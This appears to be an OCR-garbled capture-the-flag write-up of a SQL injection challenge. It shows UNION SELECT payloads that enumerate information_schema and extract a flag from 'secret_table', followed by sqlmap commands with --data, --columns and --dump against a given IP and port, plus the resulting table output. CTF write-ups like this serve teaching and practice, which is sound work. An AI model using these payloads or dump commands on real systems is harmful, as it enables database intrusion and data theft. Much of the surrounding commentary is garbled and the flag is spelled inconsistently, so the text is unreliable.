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" union select 1,table_schema,table_name from information_schema.tables#

o RILHLHNEE Einformation_schema S5 news

o AifinewsHH A H B 44 FK

" union select 1,table_schema,table_name from information_schema.tables where table_schema=‘news’ #

news

news

news
secret_table
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o Tifjsecret table )44
" union select 1,table_name,column_name from information_schema.columns where table_name='secret table’ #
secret_table
id
secret_table
fl4g

o Arififldg H ) FEL
" union select 1,1,fl4g from secret_table #

1
QCTF{sq1_inJecTion_ezzz}
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https://www.cnblogs.com/iAmSoScArEd/articles/9263735.html

o postHIiE AT = sqlmap -u “url” --data “search=suibianxie”

root@kali:~# sqlmap -u "http://111.198.29.45:31363/" —data "search=acf"

o HEREL

e sqglmap -u “http://111.198.29.45:31363/" --data “search=acf” --columns

Table: secret_table

[2 columns]
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| Column | Type |

o e +
varchar(5e)
int(18) unsigned

Fmmm————e e +

Database: news

Table: news
[3 columns]

e ———— e ————— +
| Column | Type |
Fmmmmm———— e ————— +
content text
id int(10) unsigned
title varchar(5e)
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o HEA4Q T B —-dump A 7 HdiE T

e sqglmap -u “http://111.198.29.45:31363/" --data “search=acf’ -T secret_table --dump


https://www.cnblogs.com/iAmSoScArEd/articles/9263735.html

Database: news
Table: secret_table
[1 entry]

| 1 | QCTF{sq1_inJec7ion_ezzz} |
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